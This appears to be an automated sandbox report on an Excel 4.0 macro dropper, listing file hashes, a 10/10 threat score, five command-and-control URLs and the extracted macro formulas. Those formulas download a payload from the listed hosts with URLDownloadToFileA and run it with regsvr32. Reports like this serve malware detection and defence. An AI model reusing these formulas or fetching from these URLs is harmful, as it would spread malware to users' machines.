General

  • Target

    311be84b48b5deed9587c80b7d3ad5e8a40836c9e3f86a704097f79f4efb1a2e

  • Size

    173KB

  • Sample

    241120-vz1hzs1bjn

  • MD5

    4323aaa6cf89488a011f63fdddb7e5f4

  • SHA1

    3d2aa2a556a52d3ef3c6cb8d8dadcedacccaa37b

  • SHA256

    311be84b48b5deed9587c80b7d3ad5e8a40836c9e3f86a704097f79f4efb1a2e

  • SHA512

    9e51192c0bd70309cd794866aeb2f45b50293f6c7590027be88114de2ee33944e91a02dad0aee5e18084024d4197bb6ecca2f8c6b203f0237a2906b5d90945ce

  • SSDEEP

    3072:DUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:D+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Targets

    • Target

      311be84b48b5deed9587c80b7d3ad5e8a40836c9e3f86a704097f79f4efb1a2e

    • Size

      173KB

    • MD5

      4323aaa6cf89488a011f63fdddb7e5f4

    • SHA1

      3d2aa2a556a52d3ef3c6cb8d8dadcedacccaa37b

    • SHA256

      311be84b48b5deed9587c80b7d3ad5e8a40836c9e3f86a704097f79f4efb1a2e

    • SHA512

      9e51192c0bd70309cd794866aeb2f45b50293f6c7590027be88114de2ee33944e91a02dad0aee5e18084024d4197bb6ecca2f8c6b203f0237a2906b5d90945ce

    • SSDEEP

      3072:DUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:D+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks